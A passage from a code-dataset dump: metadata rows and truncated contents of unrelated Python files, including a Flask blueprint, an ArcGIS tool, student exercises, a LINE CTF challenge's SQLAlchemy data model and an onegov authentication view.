] | null | null | null | projects/api/components.py | Matheus158257/projects | 26a6148046533476e625a872a2950c383aa975a8 | [
"Apache-2.0"
] | null | null | null | projects/api/components.py | Matheus158257/projects | 26a6148046533476e625a872a2950c383aa975a8 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""Components blueprint."""
from flask import jsonify, request
from flask_smorest import Blueprint
from ..controllers.components import create_component, get_component, update_component, \
delete_component, pagination_components, total_rows_components
from ..utils import to_snake_case
bp... | 32.964912 | 89 | 0.694518 |
9ec33186eb7b6cdb6b8c5328c5c97037f1e38781 | 19,617 | pyt | Python | PGLMT_Tools/SpatialTools/CMU_Tool_v1.pyt | PNHP/PGLMT | faa5eb8f92771e37f777c580877d91334f2421fe | [
"MIT"
] | null | null | null | PGLMT_Tools/SpatialTools/CMU_Tool_v1.pyt | PNHP/PGLMT | faa5eb8f92771e37f777c580877d91334f2421fe | [
"MIT"
] | null | null | null | PGLMT_Tools/SpatialTools/CMU_Tool_v1.pyt | PNHP/PGLMT | faa5eb8f92771e37f777c580877d91334f2421fe | [
"MIT"
] | null | null | null | #-------------------------------------------------------------------------------
# Name: CMU Tool 1.0
# Purpose:
# Author: Molly Moore
# Created: 10/13/2021
#-------------------------------------------------------------------------------
#################################################################... | 47.26988 | 214 | 0.49136 |
7bbf8607b265b026762aad4945f2617ae6463ddd | 570 | py | Python | Licence 1/I22/TP 5/tp_5_1.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 8 | 2020-11-26T20:45:12.000Z | 2021-11-29T15:46:22.000Z | Licence 1/I22/TP 5/tp_5_1.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | null | null | null | Licence 1/I22/TP 5/tp_5_1.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 6 | 2020-10-23T15:29:24.000Z | 2021-05-05T19:10:45.000Z | """ LECTURE D'UN FICHIER TEXTE """
"""
QUESTION 1
"""
with open("texte1", "r+") as f:
print(f.read(11), end="\n\n")
"""
QUESTION 2
"""
with open("texte1", "r+") as f:
print(f.readline(), end="\n\n")
f.readline()
print(f.readline(), end="\n\n")
"""
QUESTION 3
"""
with open("texte1", "r+") ... | 15.833333 | 35 | 0.508772 |
c8790e15303865c0b0baf5fa082a0c96c3fc3aa4 | 222 | py | Python | project_9.py | cornelia247/cil-internship-cohort-01 | b8184337056d378eab16d26b40b26ed58cd177bb | [
"MIT"
] | null | null | null | project_9.py | cornelia247/cil-internship-cohort-01 | b8184337056d378eab16d26b40b26ed58cd177bb | [
"MIT"
] | null | null | null | project_9.py | cornelia247/cil-internship-cohort-01 | b8184337056d378eab16d26b40b26ed58cd177bb | [
"MIT"
] | null | null | null | from PIL import Image
def main():
filename ='py.png';
image = Image.open(filename);
image = image.copy()
size = width, height = image.size;
image.resize((400,100))
if (__name__ == '_main_'):
main() | 22.2 | 38 | 0.608108 |
cdd0d71170bba8b813445c9e29298422b1e99a51 | 333 | py | Python | src/onegov/feriennet/views/shared.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/feriennet/views/shared.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/feriennet/views/shared.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.user import User, UserCollection
from sqlalchemy import func
def users_for_select_element(request):
u = UserCollection(request.session).query()
u = u.with_entities(User.id, User.username, User.title, User.realname)
u = u.order_by(func.lower(User.title))
u = u.filter_by(active=True)
ret... | 30.272727 | 74 | 0.735736 |
8d35d2407bdbf7ca4099ed4b2f0b491041cc2935 | 9,234 | py | Python | Bikecounter/prediction.py | cfleschhut/virushack | 2fe7ded0be8672b066edef7fed52573794db2ba5 | [
"Apache-2.0"
] | 29 | 2020-03-21T00:47:51.000Z | 2021-07-17T15:50:33.000Z | Bikecounter/prediction.py | cfleschhut/virushack | 2fe7ded0be8672b066edef7fed52573794db2ba5 | [
"Apache-2.0"
] | 7 | 2020-03-21T14:04:26.000Z | 2022-03-02T08:05:40.000Z | Bikecounter/prediction.py | cfleschhut/virushack | 2fe7ded0be8672b066edef7fed52573794db2ba5 | [
"Apache-2.0"
] | 13 | 2020-03-21T01:08:08.000Z | 2020-04-08T17:21:11.000Z | import json
import os
import pandas as pd
import numpy as np
from datetime import datetime
import statsmodels.formula.api as sm
from matplotlib import pyplot as plt
from statsmodels.iolib.smpickle import load_pickle
try:
# modifies path if used in ipython / jupyter
get_ipython().__class__.__name__
os... | 36.788845 | 169 | 0.568334 |
f52e7415b026da7a8ab020f38e84c9fb08a121c8 | 2,401 | py | Python | INBa/2015/Ermashov_A_V/task_10_5.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/Ermashov_A_V/task_10_5.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/Ermashov_A_V/task_10_5.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | #Задача №10, Вариант 5
#Напишите программу "Генератор персонажей" для игры. Пользователю должно быть предоставлено 30 пунктов, которые можно распределить между четырьмя характеристиками: Сила, Здоровье, Мудрость и Ловкость. Надо сделать так, чтобы пользователь мог не только брать эти пункты из общего "пула", но и возв... | 46.173077 | 372 | 0.747189 |
194249a70283ca015fe686021658a5a2c2c738a3 | 1,144 | py | Python | LINE/2021/web/diveinternal/private/app/datamodel.py | mystickev/ctf-archives | 89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | LINE/2021/web/diveinternal/private/app/datamodel.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | LINE/2021/web/diveinternal/private/app/datamodel.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-12-19T11:06:24.000Z | 2021-12-19T11:06:24.000Z | import os
from datetime import date, datetime, timedelta
from sqlalchemy import create_engine, ForeignKeyConstraint
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, String, Integer, Date, Table, Boolean, ForeignKey, DateTime, BLOB, Text, JSO... | 29.333333 | 115 | 0.708916 |
2744ee99315c2d562075cfab9fe766fac90ae2f1 | 3,686 | py | Python | app/__init__.py | MedPhyDO/app-skeleton | 1161736ccf356c704c6c13b17fa11aca64b17dac | [
"MIT"
] | 1 | 2021-02-25T13:45:24.000Z | 2021-02-25T13:45:24.000Z | app/__init__.py | MedPhyDO/app-skeleton | 1161736ccf356c704c6c13b17fa11aca64b17dac | [
"MIT"
] | null | null | null | app/__init__.py | MedPhyDO/app-skeleton | 1161736ccf356c704c6c13b17fa11aca64b17dac | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
'''
Das eigentliche starten der app wird über run erledigt
'''
import logging
from isp.config import ispConfig
from app.db import dbtests
from isp.webapp import ispBaseWebApp
from isp.safrs import system, db
class system( system ):
@classmethod
def _extendedSystemCheck(self):
... | 33.509091 | 154 | 0.518719 |
d0231afe20a33774afadfa903448f23f5a613d43 | 1,566 | py | Python | results/plot_test1.py | OxfordSKA/FSCN | fc7b01f989553158b3b4d4b66f973cf0f9387998 | [
"BSD-3-Clause"
] | null | null | null | results/plot_test1.py | OxfordSKA/FSCN | fc7b01f989553158b3b4d4b66f973cf0f9387998 | [
"BSD-3-Clause"
] | null | null | null | results/plot_test1.py | OxfordSKA/FSCN | fc7b01f989553158b3b4d4b66f973cf0f9387998 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from matplotlib.ticker import FormatStrFormatter
def main():
df = pd.read_csv('test1.txt', delim_whitespace=Tr... | 34.8 | 75 | 0.642401 |
d02bd4e1b3583c2a04099a5fdc72c37a0ead4e39 | 1,016 | py | Python | Python/zzz_training_challenge/UdemyPythonPro/Chapter5_Functions/Functions/command_line_arguments2.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/UdemyPythonPro/Chapter5_Functions/Functions/command_line_arguments2.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/UdemyPythonPro/Chapter5_Functions/Functions/command_line_arguments2.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | import argparse
def main():
# erstellt parser
parser = argparse.ArgumentParser()
# Argumente hinzufügen:
# Name: default mit '--' <- Konvention
# help: Optional als Hilfe
# type: Optional: Typ
# required: Wird das argument pflichtend benötigt
#
parser.add_argument("--age", help="Ent... | 32.774194 | 95 | 0.667323 |
ef8f890ecaa6580bfa9a5121d7900b54ad858e04 | 1,191 | py | Python | site/public/courses/CS-1.2/src/PlaylistLinkedList-StarterCode/Playlist.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | 1 | 2021-08-24T20:22:19.000Z | 2021-08-24T20:22:19.000Z | site/public/courses/CS-1.2/src/PlaylistLinkedList-StarterCode/Playlist.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | null | null | null | site/public/courses/CS-1.2/src/PlaylistLinkedList-StarterCode/Playlist.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | null | null | null | from Song import Song
class Playlist:
def __init__(self):
self.__first_song = None
# TODO: Create a method called add_song that creates a Song object and adds it to the playlist. This method has one parameter called title.
def add_song(self, title):
pass
# TODO: Create a method call... | 25.891304 | 167 | 0.690176 |
3ea06fc23eba7a15e79146a7206c8b0fa513c80e | 1,012 | py | Python | Interview Preparation Kits/Interview Preparation Kit/Search/Maximum Subarray Sum/maximum_subarray.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Interview Preparation Kits/Interview Preparation Kit/Search/Maximum Subarray Sum/maximum_subarray.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Interview Preparation Kits/Interview Preparation Kit/Search/Maximum Subarray Sum/maximum_subarray.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/bin/python3
import math
import os
import random
import re
import sys
# Complete the maximumSum function below.
def maximumSum(a, m):
n = len(a)
prefix = [0] * n
current = 0
for i in range(n):
current = (a[i] % m + current) % m
prefix[i] = current
sorted_prefix = sorted(... | 20.24 | 60 | 0.544466 |
f5ee30ccae569645ce207a8f4ba4d950c86b7b1d | 112 | py | Python | python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/Ineger_manupulation.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/Ineger_manupulation.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/Ineger_manupulation.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | a=int(input("Input an integer :"))
n1=int("%s"%a)
n2=int("%s%s"%(a,a))
n3=int("%s%s%s"%(a,a,a))
print(n1+n2+n3)
| 18.666667 | 34 | 0.544643 |
725354e8ddaa17b28ac550df26d697d82cdb31f9 | 829 | py | Python | 785A-anton-and-polyhedrons.py | spreusler/codeforces-loesungen | cc8ddcc8a3c5a25906dc92ad001f7e9570a62de3 | [
"MIT"
] | null | null | null | 785A-anton-and-polyhedrons.py | spreusler/codeforces-loesungen | cc8ddcc8a3c5a25906dc92ad001f7e9570a62de3 | [
"MIT"
] | null | null | null | 785A-anton-and-polyhedrons.py | spreusler/codeforces-loesungen | cc8ddcc8a3c5a25906dc92ad001f7e9570a62de3 | [
"MIT"
] | null | null | null | # Name: 785 A. Anton and Polyhedrons
# URL: https://codeforces.com/problemset/problem/785/A
# Language: Python 3.x
def main():
# Variable fuer Summe der Flächen
sum_faces = 0
# Einlesen des Inputs als Integer
n = int(input())
# Erstellung eines Dictionaries mit Keys als String und Values as Integ... | 25.121212 | 79 | 0.617612 |
f8276cee39a98985581fcb136de92e1625ba9d12 | 1,720 | py | Python | .archive/parse.py | gt-big-data/TEDVis | 328a4c62e3a05c943b2a303817601aebf198c1aa | [
"MIT"
] | null | null | null | .archive/parse.py | gt-big-data/TEDVis | 328a4c62e3a05c943b2a303817601aebf198c1aa | [
"MIT"
] | null | null | null | .archive/parse.py | gt-big-data/TEDVis | 328a4c62e3a05c943b2a303817601aebf198c1aa | [
"MIT"
] | 2 | 2018-02-06T00:00:44.000Z | 2019-06-04T12:43:41.000Z | import os
from os import listdir
from os.path import isfile, join, isdir
from operator import itemgetter, attrgetter
from wiki import filter
from string import punctuation
from nltk.corpus import wordnet as wn
wordDict = {}
def countWords():
onlyfiles = [f for f in listdir(".") if isfile(join(".", f))]
#print(on... | 21.234568 | 87 | 0.634302 |
f86d410e53c9a80f8b0be5203525cea36952c3ff | 37 | py | Python | lib/python3.5/functools.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | 1 | 2020-08-16T04:04:23.000Z | 2020-08-16T04:04:23.000Z | lib/python3.5/functools.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | 5 | 2020-06-05T18:53:24.000Z | 2021-12-13T19:49:15.000Z | lib/python3.5/functools.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | /usr/local/lib/python3.5/functools.py | 37 | 37 | 0.810811 |
f8b5e06c38ed307233d83b8f9d69c32d088b385a | 270 | py | Python | Crashkurs TensorFlow/07_Stack.py | slogslog/Coding-Kurzgeschichten | 9b08237038147c6c348d4cf4c69567178e07dd1d | [
"Unlicense"
] | 2 | 2020-03-23T14:57:50.000Z | 2021-03-24T18:12:07.000Z | Crashkurs TensorFlow/07_Stack.py | slogslog/Coding-Kurzgeschichten | 9b08237038147c6c348d4cf4c69567178e07dd1d | [
"Unlicense"
] | null | null | null | Crashkurs TensorFlow/07_Stack.py | slogslog/Coding-Kurzgeschichten | 9b08237038147c6c348d4cf4c69567178e07dd1d | [
"Unlicense"
] | null | null | null | # Unterdrückt die AVX2 Warnung
import os
os.environ['TF_CPP_MIN_LOG_LEVEL']='2'
import tensorflow as tf
a2d = tf.constant([ [1,2,3], [4,5,6] ])
print(a2d)
b2d = tf.reshape(tf.range(7, 13), [2, -1])
print(b2d)
c3d = tf.stack([a2d, b2d])
print(c3d)
print(c3d.numpy())
| 16.875 | 42 | 0.662963 |
f8c3d98f1a948dc486ed3431ba7f098d343daa1b | 207 | py | Python | SoSe-21/Code-Vorlesungen/VL-5/Mathematische-Brechnungen.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | 1 | 2022-03-23T09:40:39.000Z | 2022-03-23T09:40:39.000Z | SoSe-21/Code-Vorlesungen/VL-5/Mathematische-Brechnungen.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | null | null | null | SoSe-21/Code-Vorlesungen/VL-5/Mathematische-Brechnungen.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | null | null | null | PI = 3.1415 # Globale Variable
def kreisumfang(radius):
kreisumfang = 2 * PI * radius
return kreisumfang
def zylinder(radius, hoehe):
return hoehe * kreisumfang(radius)
print(zylinder(50, 20)) | 20.7 | 38 | 0.705314 |
e45704b6bef449eb6fe43f4d7767f2ac312cf726 | 5,145 | py | Python | Apps/Auswertung/helper.py | RGreinacher/bachelor-thesis | 60dbc03ce40e3ec42f2538d67a6aabfea6fbbfc8 | [
"MIT"
] | 1 | 2021-04-13T10:00:46.000Z | 2021-04-13T10:00:46.000Z | Apps/Auswertung/helper.py | RGreinacher/bachelor-thesis | 60dbc03ce40e3ec42f2538d67a6aabfea6fbbfc8 | [
"MIT"
] | null | null | null | Apps/Auswertung/helper.py | RGreinacher/bachelor-thesis | 60dbc03ce40e3ec42f2538d67a6aabfea6fbbfc8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# import python libs
import re
import json
import csv
import argparse
import json
import collections
import copy
from os import listdir
from os.path import isfile, join
from pprint import pprint as pp
from operator import itemgetter
# import project libs
from constants... | 30.625 | 113 | 0.668416 |
5f5aea15240bbd9611868813c51d975e0aeb66f9 | 467 | py | Python | day46/decorator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day46/decorator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day46/decorator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | import time
def speed_calc_decorator(function):
def wrapper():
start_time = time.time()
function()
difference = time.time() - start_time
print(f"{function.__name__} run speed: {difference}s")
return wrapper
@speed_calc_decorator
def fast_function():
for i in range(10000000... | 19.458333 | 62 | 0.642398 |
39973a673c78692566cffd1fbfaf81caca542ccb | 10,554 | py | Python | src/onegov/org/views/auth.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/views/auth.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/views/auth.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | """ The authentication views. """
import morepath
from onegov.core.markdown import render_untrusted_markdown
from onegov.core.security import Public, Personal
from onegov.org import _, OrgApp
from onegov.org import log
from onegov.org.elements import Link
from onegov.org.layout import DefaultLayout
from onegov.org.ma... | 33.611465 | 78 | 0.622039 |
841e8e7c47a49325e95a24e0cc97279aa3b36aa5 | 620 | py | Python | setup.py | Pommesmajo09/Subdomains-Scan | 8d939769fb83251cd0d683cba3916ba070fa6765 | [
"MIT"
] | null | null | null | setup.py | Pommesmajo09/Subdomains-Scan | 8d939769fb83251cd0d683cba3916ba070fa6765 | [
"MIT"
] | null | null | null | setup.py | Pommesmajo09/Subdomains-Scan | 8d939769fb83251cd0d683cba3916ba070fa6765 | [
"MIT"
] | null | null | null | import os
try:
os.mkdir("data")
except FileExistsError:
print("Der Ordner data existiert bereits!")
try:
f = open("data/subdomains.txt", "r")
f.read()
f.close()
except FileNotFoundError:
print("Du must zuerst die Datei: subdomains.txt herunterladen! Kopiere sie nun in den Data ordn... | 29.52381 | 136 | 0.690323 |
8432ddb361abfcb045f207736cc6d68f5110e185 | 1,495 | py | Python | time compare.py | aertoria/MiscCode | a2e94d0fe0890e6620972f84adcb7976ca9f1408 | [
"Apache-2.0"
] | null | null | null | time compare.py | aertoria/MiscCode | a2e94d0fe0890e6620972f84adcb7976ca9f1408 | [
"Apache-2.0"
] | null | null | null | time compare.py | aertoria/MiscCode | a2e94d0fe0890e6620972f84adcb7976ca9f1408 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
class DateObj(object):
def __init__(self, year, month, day, hour, minute, second, msec):
self.year = int(year)
self.month = int(month)
self.day = int(day)
self.hour = int(hour)
self.minute = int(minute)
self.second = int(second)
self.msec = int(msec)
self.ensure_valid()
def ens... | 21.985294 | 73 | 0.663545 |
8466cde7695bc3bc64772aec48025e37968c4e27 | 166 | py | Python | Algorithms/Implementation/designer_pdf_viewer.py | rho2/HackerRank | 4d9cdfcabeb20212db308d8e4f2ac1b8ebf7d266 | [
"MIT"
] | null | null | null | Algorithms/Implementation/designer_pdf_viewer.py | rho2/HackerRank | 4d9cdfcabeb20212db308d8e4f2ac1b8ebf7d266 | [
"MIT"
] | null | null | null | Algorithms/Implementation/designer_pdf_viewer.py | rho2/HackerRank | 4d9cdfcabeb20212db308d8e4f2ac1b8ebf7d266 | [
"MIT"
] | null | null | null | import string
h = list(map(int, input().split()))
word = input()
d = dict(zip(string.ascii_lowercase, h))
v = [d[c] for c in word]
w = max(v) * len(word)
print(w) | 15.090909 | 40 | 0.620482 |
29ddd784009f4e4a9bd9dcb496f22ba1f0e58e50 | 336 | py | Python | PYTHON/Strings/find_a_string.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | PYTHON/Strings/find_a_string.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | PYTHON/Strings/find_a_string.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys
def count_substring(string, sub_string):
l1 = len(string)
l2 = len(sub_string)
return len([i for i in range(0, l1 - l2 + 1) if (string[i:i+l2] == sub_string)])
if __name__ == '__main__':
string = input()
sub_string = input()
print(count_substring(string... | 19.764706 | 84 | 0.636905 |
d9e1818fa0119e9cdda4671be56751fe9e2f1744 | 2,672 | py | Python | src/main/apps/mlops/utils/pipeline.py | Nouvellie/django-tflite | 1d08fdc8a2ec58886d7d2b8d40e7b3598613caca | [
"MIT"
] | 2 | 2021-08-23T21:56:07.000Z | 2022-01-20T13:52:19.000Z | src/main/apps/mlops/utils/pipeline.py | Nouvellie/django-tflite | 1d08fdc8a2ec58886d7d2b8d40e7b3598613caca | [
"MIT"
] | null | null | null | src/main/apps/mlops/utils/pipeline.py | Nouvellie/django-tflite | 1d08fdc8a2ec58886d7d2b8d40e7b3598613caca | [
"MIT"
] | null | null | null | import json
from collections import OrderedDict
from pathlib import Path
from typing import (
Generic,
List,
Optional,
Tuple,
TypeVar,
)
SELFCLASS = TypeVar('SELFCLASS')
FUNCTIONS_PIPELINE = OrderedDict()
def pipeline_function_register(func) -> None:
"""Add functions to the pipeline"""
... | 34.701299 | 125 | 0.640719 |
d9e5e0743392171022fdbc998a69f23466bd548a | 224 | py | Python | PYTHON/Sets/set_union_oper.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | PYTHON/Sets/set_union_oper.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | PYTHON/Sets/set_union_oper.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys
if __name__ == '__main__':
i = int(input())
A = set(map(int, input().split()))
j = int(input())
B = set(map(int, input().split()))
res = A.union(B)
print(len(res))
| 18.666667 | 38 | 0.544643 |
8a4e867ab5d50eaffd7b2f7d85daebbbb4a62b1f | 765 | py | Python | v401/python/rechnung.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 2 | 2019-12-10T10:25:11.000Z | 2021-01-26T13:59:40.000Z | v401/python/rechnung.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | null | null | null | v401/python/rechnung.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 1 | 2020-12-06T21:24:58.000Z | 2020-12-06T21:24:58.000Z | import numpy as np
import uncertainties.unumpy as unumpy
from uncertainties import ufloat
from scipy.stats import sem
print('Wellenlaenge')
dd1, za = np.genfromtxt('python/wellenlaenge.txt', unpack=True)
dd = (dd1*10**(-3))/5.017
lam = 2 * dd / za
mlam = np.mean(lam)
slam = sem(lam)
rlam = ufloat(mlam, slam)
np.savetx... | 29.423077 | 100 | 0.662745 |
8a6097d433c6982ea17e36743e348c77321aeb64 | 4,499 | py | Python | examples/chk-enc.py | jadeblaquiere/pyfspke | 1c7305e8a28639e55b1620e731a5dd7c312c295b | [
"BSD-3-Clause"
] | null | null | null | examples/chk-enc.py | jadeblaquiere/pyfspke | 1c7305e8a28639e55b1620e731a5dd7c312c295b | [
"BSD-3-Clause"
] | null | null | null | examples/chk-enc.py | jadeblaquiere/pyfspke | 1c7305e8a28639e55b1620e731a5dd7c312c295b | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2017, Joseph deBlaquiere <jadeblaquiere@yahoo.com>
# All rights reserved
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
... | 39.464912 | 107 | 0.750389 |
0ac99080ea9b97aa5eb8cf1f9863ba84b15da3f5 | 523 | py | Python | pacman-arch/test/pacman/tests/xfercommand001.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/xfercommand001.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/xfercommand001.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Quick check for using XferCommand"
# this setting forces us to download packages
self.cachepkgs = False
#wget doesn't support file:// urls. curl does
self.option['XferCommand'] = ['/usr/bin/curl %u -o %o']
numpkgs = 10
pkgnames = []
for i in range(numpkgs):
name = "pkg_%s" % i
pkgnames.ap... | 24.904762 | 55 | 0.646272 |
6b2841e62fab3089b25520d511fea6a815878b79 | 872 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex04_rotation_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex04_rotation_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex04_rotation_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
from ch06_arrays.solutions.ex04_rotate_inplace import rotate_inplace
def test_rotation():
values = [['1', '2', '3', '4', '5', '6'],
['J', 'K', 'L', 'M', 'N', '7'],
['I', 'V', 'W', 'X', 'O', '8'],
... | 28.129032 | 68 | 0.426606 |
6b4321b71e025727969edbd03c6de2879bf645f0 | 400 | py | Python | server/ImageProcessor.py | Thukor/MazeSolver | c953e193ce27a7348e8ec9c5592144426dfce193 | [
"MIT"
] | 5 | 2018-02-06T22:48:34.000Z | 2020-01-07T20:19:05.000Z | server/ImageProcessor.py | Thukor/MazeSolver | c953e193ce27a7348e8ec9c5592144426dfce193 | [
"MIT"
] | 11 | 2018-01-31T21:47:49.000Z | 2018-04-21T16:42:52.000Z | server/ImageProcessor.py | Thukor/MazeSolver | c953e193ce27a7348e8ec9c5592144426dfce193 | [
"MIT"
] | 2 | 2020-06-18T05:40:03.000Z | 2022-02-02T03:46:30.000Z | from image_processing import *
"""
Processor Class for images
"""
class ImageProcessor:
#initialize strategies
def __init__(self,strategies):
self.strategies = [birdseye_correction, image_segmentation]
#We interpret each set of processing functions as strategies.
def process_image(image_name, number):
bir... | 22.222222 | 62 | 0.7875 |
863774c95b28b062d1596f079abc8fa6527db92b | 3,444 | py | Python | research/cv/resnetv2/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 1 | 2021-11-18T08:17:44.000Z | 2021-11-18T08:17:44.000Z | research/cv/resnetv2/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | research/cv/resnetv2/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
